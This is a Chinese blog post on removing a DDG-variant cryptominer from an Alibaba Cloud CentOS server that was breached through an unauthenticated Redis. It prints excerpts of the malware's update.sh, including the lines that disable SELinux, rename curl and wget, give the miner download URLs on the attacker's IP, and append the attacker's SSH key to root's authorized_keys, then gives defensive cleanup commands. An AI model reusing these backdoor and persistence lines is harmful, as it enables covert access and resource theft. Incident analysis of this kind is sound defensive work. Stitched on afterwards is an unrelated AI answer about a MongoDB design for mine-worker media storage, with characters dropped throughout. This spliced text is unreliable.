记录阿里云被矿的解决方案

阿里云centos被矿机病毒攻击

1 前言

操作系统:centos7

攻击者IP:185.181.10.234

image-20200306164033975

攻击者意图:开设后门,执行挖矿程序,并且设定定时任务

漏洞:redis 未设置密码,也没有授权访问。

阿里云警告信息

尊敬的****:云盾云安全中心检测到您的服务器:*.*.*.*(app)出现了紧急安全事件:挖矿程序,建议您立即登录云安全中心控制台-安全告警查看事件详情,并根据事件建议的方案进行处理。

云盾云安全中心,中的安全提示

image-20200306164348541

顺手百度了一下,发现该病毒信息如下。

发现这是一款在Linux/Windows双平台的挖矿病毒木马,该木马是通过Redis漏洞传播的挖矿木马DDG的变种,使用Go语言1.10编译使用了大量的基础库文件。该木马会大量消耗服务器资源,难以清除并具有内网扩散功能。

2 分离病毒信息:

定位病毒进程

指令命令top

top

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tj58AVfx-1584087564131)(https://i.loli.net/2020/03/13/1VYefM3gODqISmZ.png)]

发现 sysupdata 和 networkservice

占用了大量的系统资源,结合控制台的的报错信息,肯定没得跑了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-j40oi9rM-1584087564132)(https://i.loli.net/2020/03/13/4xdNBmCA3lYXRcg.png)]

(1)处理异常进程 sysupdate

​ a 获取进程位置

 ls -l /proc/15237/exe
 
 lrwxrwxrwx 1 root root  /proc/15237/exe -> /etc/sysupdat

b 关闭进程

kill -9 15237 

c 删除文件

rm -f /etc/sysupdate

发现出错了

rm: cannot remove ‘/etc/sysupdate’: Operation not permitted

无法删除,看起来是做了保护的,可能是使用chattr命令对文件做了锁定

解除锁定再次尝试删除

chattr -i /etc/sysupdate
rm -f /etc/sysupdate

ok 删除成功

(2) 按照上面的流程删除 networkservice异常进程

删除定时任务

​ 查看定时任务

more /var/log/cron log | grep "update"
Oct 30 12:30:01 iabczwz93qwr9mrtmr CROND[31702]: (root) CMD (sh /etc/update.sh >/dev/null 2>&1)
Oct 30 13:10:01 iabczwz93qwr9mrtmr CROND[32719]: (root) CMD (sh /etc/update.sh )

发现有一个名为update.sh的异常脚本

好奇心下看了看脚本内容

vi /etc/update.sh

!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/sysupdates
rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur
miner_url="https://de.gsearch.com.de/api/sysupdate"
miner_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate"
miner_size="854364"
.....

可以看到它在这里做了好几件事,首先是往/etc目录下面下载以下文件:

  • /etc/config.json:挖矿配置文件,包含钱包地址与挖矿参数等;
  • /etc/sysupdate:XMR挖矿程序主体;
  • /etc/sysupdates:XMR挖矿程序主体备份;
  • /etc/sysguard:根据获取到的系统版本下载针对性Payload执行,包含通信模块用于监控并保证病毒的正常运行以及更新;
  • /etc/networkservice:漏洞检测模块,针对Redis、MSSQL、ThinkPHP、WebLogic等软件漏洞和系统漏洞扫描并入侵其他的主机;
  • /etc/update.sh:本脚本文件。

简单分析下/etc/update.sh文件,发现它做了以下事情:

  • 下载病毒模块;
  • 在kill_miner_proc函数中清除其他挖矿病毒;
  • 定时任务存活;
  • 为文件添加chattr锁定;
  • 修改IPTABLES;
  • 清除日志;
  • 关闭SELinux;
  • ……

还有个后门,创建/root/.ssh/authorized_keys,添加病毒作者自己的公钥,保证其可以使用SSH登录到服务器,具体代码如下:

...
chmod 700 /root/.ssh/
echo >> /root/.ssh/authorized_keys
chmod 600 root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys
...

我们来查看下这个后门:

vi /root/.ssh/authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17

代码也看完了,删除了吧

执行命令

chattr -i /etc/update.sh
chattr -i /etc/config.json
chattr -i /etc/sysupdate
chattr -i /etc/sysupdates
chattr -i /etc/networkservice

rm -f /etc/update.sh
rm -f /etc/config.json
rm -f /etc/sysupdate
rm -f /etc/sysupdates
rm -f /etc/networkservice

chattr -i /root/.ssh/authorized_keys
rm -f /root/.ssh/authorized_keys

然后再阿里云的控制版本中,将他的IP封禁了,防止有看不到的后门。

任务完成

<think>嗯,用户的问题是关于在特定场景下使用MongoDB的可行性。他们有一个涉及工在无网络环境下拍摄照片和视频,之后上传到四个不同区的系统,用户角色包括管理员、工和客户。需要存储这些媒体文件,并管理区域的安全状况。用户还担心直接使用服务器存储的安全性。 首先,我需要明确用户的主要需求。他们需要处理离线环境下的数据上传,区域分类(ABCD四个区),角色权限管理,以及存储大量图片和视频。同时,他们关心存储方案的安全性和效率。 接下来,分析MongoDB的适用性。MongoDB适合存储元数据,比如文件信息、拍摄时间、所属区域、关联的工等。对于大文件,如视频和图片,通常建议使用对象存储服务,但用户可能对第三方服务有顾虑。这时候可以考虑MongoDB的GridFS,但需要权衡性能和成本。 然后,考虑离线同步的问题。工在无网时拍摄,之后上传,可能需要一个本地数据库暂存数据,联网后同步到主数据库。MongoDB有离线同步的解决方案,比如MongoDB Realm Sync,但需要确认是否适合工使用的设备环境。 安全方面,MongoDB支持加密和访问控制,可以设置不同角色的权限,如管理员管理区域数据,工只能上传,客户只能查看。同时,服务器本身存储可能不够安全,需要额外的安全措施,而MongoDB内置的安全功能可能更全面。 另外,区域安全状况的数据结构设计。每个区域可能需要存储安全指标、检查记录等,MongoDB的文档模型可以灵活地嵌套这些信息,方便查询和更新。 用户可能存在的深层需求包括系统的可扩展性,未来可能增加更多区域或用户角色,以及处理大量媒体文件的高效存储和检索。需要确保方案不仅能满足当前需求,还能适应未来的扩展。 最后,比较MongoDB存储文件和外部存储的优劣。直接使用服务器存储可能面临数据冗余、备份困难、安全性低的问题,而MongoDB GridFS或外部对象存储(如AWS S3)可以提供更好的可扩展性和安全性,但可能有成本开销。需要根据用户的具体资源和技术能力进行权衡。 总结下来,MongoDB适合管理元数据和区域安全数据,而大文件存储建议结合外部对象存储或GridFS,同时利用MongoDB的权限管理和同步功能来支持离线上传和角色权限控制。</think>--- ### **分步解答:MongoDB 在业文件系统中的应用分析** --- #### **1. 场景需求梳理** - **核心需求**: - 工在**无网络环境**下拍摄照片/视频,出后上传数据 - 文件需按洞区域(A/B/C/D)分类,记录安全状况 - 用户角色管理(管理员、工、客户) - 存储大量图片/视频文件,确保安全性与可追溯性 --- #### **2. MongoDB 的核心作用** ##### **(1)存储文件元数据与安全信息** - **元数据示例**: ```javascript // files 集合 { "_id": ObjectId("65d0c7f9e1a2c31b7c8f3d7d"), "type": "video", // 文件类型(photo/video) "mineArea": "B", // 所属洞区域 "safetyStatus": "高风险", // 安全评级(高风险/中风险/低风险) "capturedBy": "工123", // 拍摄者 "capturedAt": ISODate("2024-02-20T14:30:00Z"), "uploadedAt": ISODate("2024-02-20T18:00:00Z"), // 出后上传时间 "storagePath": "s3://bucket/areaB/video_20240220.mp4", // 实际文件存储路径 "tags": ["塌方预警", "设备损坏"] // 安全相关标签 } ``` - **优势**: - **灵活扩展字段**:动态添加安全指标(如温湿度、气体浓度) - **高效查询**:按区域、时间、安全状态快速检索文件 ```sql -- 查询洞B中所有高风险视频 db.files.find({ "mineArea": "B", "type": "video", "safetyStatus": "高风险" }) ``` ##### **(2)用户与权限管理** - **角色控制示例**: ```javascript // users 集合 { "_id": ObjectId("65d0c7f9e1a2c31b7c8f3d7c"), "role": "工", "permissions": [ "upload:photo", "upload:video", "view:self" // 仅查看自己上传的文件 ], "assignedAreas": ["A", "B"] // 负责的洞区域 } ``` --- #### **3. 文件存储方案对比** | **方案** | **适用场景** | **优缺点** | |------------------------|----------------------------------|---------------------------------------------------------------------------| | **MongoDB GridFS** | 文件大小 ≤ 16GB | ✅ 内置文件分块存储,元数据可扩展<br/>❌ 性能低于专业对象存储,成本较高 | | **外部对象存储** | 大文件(视频)、高频访问 | ✅ 高扩展性(如 AWS S3、阿里云 OSS)<br/>✅ 低成本<br/>❌ 需额外维护元数据关联 | | **服务器本地存储** | 小型系统、临时测试 | ✅ 部署简单<br/>❌ 单点故障风险高<br/>❌ 扩容困难,安全性差(需自行实现备份/加密) | ##### **推荐方案**: 1. **实际文件内容**:使用 **AWS S3 或阿里云 OSS** 存储图片/视频(低成本、高可用) 2. **元数据与关联**:用 MongoDB 记录文件路径、安全状态、区域分类 3. **离线同步逻辑**: - 工设备使用本地数据库(如 SQLite)暂存无网络时的拍摄记录 - 出后通过脚本将本地数据批量同步到 MongoDB 和对象存储 --- #### **4. 洞区域安全管理实现** ##### **数据结构设计**: ```javascript // mine_areas 集合 { "area": "B", "latestSafetyReport": { "timestamp": ISODate("2024-02-20T09:00:00Z"), "gasConcentration": 0.05, // 单位:ppm "temperature": 28.5, // 单位:℃ "riskLevel": "高风险", "inspector": "管理员001" }, "relatedMedia": [ // 关联的图片/视频 ObjectId("65d0c7f9e1a2c31b7c8f3d7d"), ObjectId("65d0c7f9e1a2c31b7c8f3d7e") ] } ``` ##### **功能实现**: - **安全状态看板**:聚合各区域最新数据 ```javascript db.mine_areas.aggregate([ { $sort: { "latestSafetyReport.timestamp": -1 } }, { $group: { _id: "$area", latestReport: { $first: "$latestSafetyReport" } }} ]) ``` - **区域关联文件查询**:通过 `relatedMedia` 字段快速定位文件 --- #### **5. 安全性增强措施** 1. **数据传输加密**: - 使用 HTTPS 上传文件,MongoDB 启用 TLS 连接 2. **存储加密**: - MongoDB 启用加密存储(WiredTiger 引擎支持静态加密) - 对象存储服务端加密(如 AWS S3 SSE-KMS) 3. **访问控制**: - 通过 MongoDB 角色限制客户只能读取特定字段: ```javascript db.createRole({ role: "client_role", privileges: [{ resource: { db: "mine_db", collection: "files" }, actions: ["find"] }], roles: [] }) ``` --- ### **6. 系统架构示意图** ``` [工设备] ├── 无网络时:本地存储拍摄记录(SQLite) └── 有网络时:同步数据到中心系统 │ ▼ [Node.js 同步服务] │ ├── [MongoDB] 存储元数据、用户、区域安全信息 │ └── [AWS S3] 存储图片/视频文件 ``` --- ### **总结建议** | **需求** | **推荐方案** | |-------------------------|----------------------------------| | 文件元数据与安全状态管理 | ✅ 必用 MongoDB | | 图片/视频文件存储 | ✅ 优先用对象存储(AWS S3/阿里云 OSS) | | 工离线数据同步 | ✅ MongoDB + 本地数据库同步脚本 | | 权限控制 | ✅ MongoDB 内置角色与字段级访问控制 | **最终结论**: MongoDB 是管理元数据、用户权限、区域安全信息的理想选择,但实际文件内容应搭配对象存储以提高性价比和可靠性,而非直接依赖服务器本地存储。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值